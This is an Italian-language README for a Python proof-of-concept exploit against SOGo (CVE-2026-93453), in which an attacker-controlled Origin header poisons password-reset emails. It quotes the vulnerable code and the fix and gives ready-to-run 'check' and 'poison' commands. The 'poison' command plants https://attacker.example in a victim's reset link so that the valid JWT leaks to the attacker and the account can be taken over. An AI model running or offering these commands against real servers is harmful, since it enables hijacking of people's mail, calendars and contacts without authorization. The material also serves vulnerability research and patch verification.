
PoC Python per CVE-2026-93453, una vulnerabilità di avvelenamento del link di reset della password di SOGo tramite header Origin controllato dall'attaccante che consente l'intercettazione del token di reset e il takeover dell'account.
Un exploit per una vulnerabilità in cui SOGo costruisce il link di reset password inviato via email agli utenti direttamente dall'header Origin fornito dal client. Un attaccante anonimo che conosce il login di una vittima invia una richiesta di recupero con un Origin controllato; il link all'interno del messaggio email "Password reset" punta quindi all'host dell'attaccante mentre il JWT incorporato rimane un token di recupero perfettamente valido. Un click della vittima dopo, il token è nel log di accesso dell'attaccante, e POST /SOGo/changePassword lo scambia con una nuova password — takeover completo dell'account di mail, calendari e contatti, senza autenticazione in nessun passaggio. Il ramo email salta inoltre il controllo SOGoPasswordRecoveryEnabled (quel flag viene consultato solo nel ramo SecretQuestion), quindi il vettore email funziona anche quando l'operatore pensa che il recupero sia disattivato.
Record: https://www.cve.org/CVERecord?id=CVE-2026-93453
| Affected | SOGo < 5.12.11 (≤ 5.12.10) |
| Fixed | 5.12.11 (SOGoPasswordRecoveryBaseURLs allowlist) |
| Prerequisites | vittima con modalità di recupero SecondaryEmail; l'attaccante conosce lo userName; la vittima clicca il link inviato via email |
| Impact | takeover dell'account |
// UI/MainUI/SOGoRootPage.m:1374 (tag SOGo-5.12.10) — passwordRecoveryEmailAction
url = [NSString stringWithFormat:@"%@%@?token=%@",
[[request headers] objectForKey:@"origin"], // <-- raw client header
[request uri],
jwtToken]; // <-- valid HS256 JWT, 10 min TTL
L'URL di reset tokenizzato è Origin + request URI + JWT, quindi chiunque imposti
l'header imposta l'host verso cui viaggia il segreto della vittima. Questo è
avvelenamento del reset password (CWE-640 / CWE-601), non un open redirect: il JWT viene accettato da
/SOGo/changePassword indipendentemente da quale host lo abbia trasportato.
// 5.12.11 — the fix: origins are validated against a mandatory allowlist
baseUrls = [[SOGoSystemDefaults sharedSystemDefaults] passwordRecoveryBaseURLs];
serverUrl = [[request headers] objectForKey:@"origin"];
if (!(baseUrls && [baseUrls count] > 0)) // unset config -> 403
if (![baseUrls containsObject:serverUrl]) // foreign origin -> 403
Su 5.12.11 un Origin estraneo riceve un 403 ("Password recovery email in
error"); su ≤ 5.12.10 la stessa richiesta restituisce 200 e la mail viene inviata —
questa differenza è ciò su cui si basa check.
# non-destructive probe: canary user + foreign Origin, classify the reply
python3 CVE-2026-93453.py check https://sogo.example
# poison: dispatch the reset mail for the victim with your host in the link
python3 CVE-2026-93453.py poison https://sogo.example --user victim --origin https://attacker.example
Solo libreria standard (Python 3.8+). Supporta --proxy, --insecure,
--timeout, --no-color, e --prefix per mount point SOGo non standard.
Il PoC non necessita di infrastruttura dell'attaccante: poison fa solo
inviare al server il link via email, e l'host avvelenato è quello che inserisci in --origin.
Su un'istanza vulnerabile il link inviato via email diventa
https://attacker.example/SOGo/passwordRecoveryEmail?token=<valid HS256 JWT>
— il token viaggia verso il tuo host nel momento in cui la vittima clicca.
check usa un username canary inesistente, quindi nessuna email viene mai consegnata a una
casella reale; 200 = il ramo email ha accettato l'Origin estraneo (firma vulnerabile), 403 = allowlist 5.12.11 o SOGoPasswordRecoveryBaseURLs non impostato
(non sfruttabile). Per un self-test definitivo, esegui poison su un account che possiedi
e leggi l'host del link nella tua casella di posta.
passwordRecoveryEmailAction)Solo per test e ricerca autorizzati. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test.